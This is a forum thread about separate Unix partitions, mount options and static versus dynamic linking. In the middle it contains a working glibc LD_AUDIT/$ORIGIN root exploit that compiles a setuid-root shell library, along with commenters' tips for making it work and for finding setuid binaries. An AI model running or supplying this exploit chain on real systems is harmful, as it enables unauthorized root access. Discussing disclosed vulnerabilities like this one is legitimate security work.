When dinosaurs still roamed the earth, it used to be that all unix installs used separate /, /var, /usr, (/export)/home, ... directories, the rationale being mostly to facilitate remote mounting of shared (/usr) programs or to isolate filesystem corruptions (/ being mostly read-only and containing essential binaries).

But its quite convenient to have each of them mounted with adequate, security and performance enhancing mount options (in Linux for example: /=noatime, /usr=nodev,noatime, /var,/tmp,/home=nodev,nosuid).

I used this scheme for quite a long time and only recently abandoned it here and there because popular Linux distributions, or e.g. OpenSolaris ZFS-root no longer offer it on their default install media. And of course it wastes a little space having to judge the maximum expected size when installing the machine.

btw you might want relatime rather than noatime.

(Though I have usually gone without atime, and just made a partition for my emails with atime to make mutt happy.)

  mkdir /tmp/exploit
  ln /bin/ping /tmp/exploit/target
  exec 999< /tmp/exploit/target
  rm -rf /tmp/exploit/
  echo 'void __attribute__((constructor)) init(){setuid(0);system("/bin/bash");}' | gcc -w -fPIC -shared -o /tmp/exploit -xc -
  LD_AUDIT="\$ORIGIN" exec /proc/self/fd/999

Edit: cat -> ping

   # pacman -Q glibc
   glibc 2.12.1-2

    LD_AUDIT="\$ORIGIN" exec /proc/self/fd/999
    Inconsistency detected by ld.so: dl-open.c: 232: dl_open_worker: Assertion `(call_map)->l_name[0] == '\0'' failed!

You'll have to find another binary that has the SUID bit set and is readable. For example, in my system /bin/mount does the job. Still, in the last step I get the same error as reported by several other users (Inconsistency detected...)

TL;DR

1. cause STDERR to block

2. run the SUID binary in the background in a way that triggers ld to try to write to STDERR causing it to block.

3. Replace /tmp/exploit with your binary

4. eliminate the blocking condition on STDERR.

5. ld will continue on using the $ORIGIN value.

Is this sufficient?

Can you foresee me needing to install gcc, and to leave it installed? I.e. should I install it to do whatever compiling I need to do, and then remove it?

NiekvdMaas's exploit code does not work on many systems because /tmp is a separate filesystem from /. Try using a different location for the 'exploit' directory and file.

    $ /lib/libc.so.6 | head -1
    GNU C Library stable release version 2.5, by Roland McGrath et al.

    $ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
    Inconsistency detected by ld.so: dl-open.c: 231: dl_open_worker: Assertion `(call_map)->l_name[0] == '\0'' failed!

Are there any other way to do this without ln? I have no binaries on non-root-writable filesystems. tmp is on tmpfs, / and /home are on their own filesystems so I'd need to be root to create the files on a partition that this could work from.

You can use find to see if you have a setuid binary anywhere in your filesystem:

    find / -perm -4000 2>/dev/null

It might work in something like /var/tmp, assuming that's not a soft link to /tmp like some systems do, or a separate file system.

I'm not quite sure what benefits dynamic linking is supposed to offer by way of security over static, other than when you upgrade a library due to a security weakness you don't have to relink everything.

Static linking would protect against attacks on linkers but dynamic linking offers so many non-security benefits that it's hard to ignore.

Having said that, I always keep a statically compiled busybox on any Linux host I run in case something goes wrong with glibc. Too many bad memories from broken RedHat upgrades from years back.

I just keep a live CD/USB on hand. A lot easier, and it gives the benefit of a graphical boot that can even access the internet to download further fixes.

But I agree, live distros have saved my life (or at least my data) on a number of occasions!

having 20 random-version-bundled copies of libxml2 for example would make upgrading it a massive pain.

i think this actually a better example of setuid binaries burning you more so than dynamic linkers.

http://dl.suckless.org/stali/clt2010/stali.html

Botan is a cryptographic library, it is on version 1.8.10, however its library is at 1.8.2, which means if the application was compiled against version 1.8.3 it will work just as well with 1.8.10 as it would with 1.8.2 as none of the binary interface has changed.

Also many fixes DON'T involve breaking the ABI, generally it is a fix within a function so the function return type, name and parameters stay the same as such the ABI is not broken as that is all that matters, you can change the function all you want so long as it still returns the same thing as before.

Yes it works very well in practice, and makes development much nicer, as libraries around my product can easily be updated without me having to update anything.

Not sure what the Gentoo guys are doing differently.

Perhaps upstream is doing some magic. Like applying patches to the distros official version and making sure it's compatible before distributing a binary.